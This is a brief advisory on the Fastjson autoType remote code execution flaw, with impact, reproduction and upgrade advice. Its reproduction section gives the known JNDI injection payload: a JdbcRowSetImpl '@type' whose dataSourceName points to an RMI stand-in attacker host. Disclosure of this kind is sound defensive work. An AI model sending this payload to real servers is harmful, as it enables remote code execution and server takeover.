Fastjson Remote Code Execution Vulnerability

A remote code execution vulnerability exists in Fastjson versions prior to 1.2.48. This issue arises from improper handling of the autoType feature. When a JSON document contains an '@type' key with a value corresponding to a Java class name, it can lead to the execution of public methods of that class. Exploitation of this vulnerability allows for JNDI injection, with an attacker-supplied payload hidden elsewhere in the JSON document. This vulnerability has been actively exploited in the wild from 2023 to 2025.

Impact

Exploitation of this vulnerability allows for remote code execution on the server where Fastjson is used.

Reproduction

The vulnerability can be reproduced by sending a JSON payload that includes an '@type' key with a value of 'com.sun.rowset.JdbcRowSetImpl'. This payload should be sent to a server using Fastjson for JSON parsing. The 'dataSourceName' field of the payload can be set to 'rmi://<attacker_ip>:<port>/Exploit' to execute commands on the server via JNDI injection.

Remediation

Users are advised to update Fastjson to version 1.2.48 or later.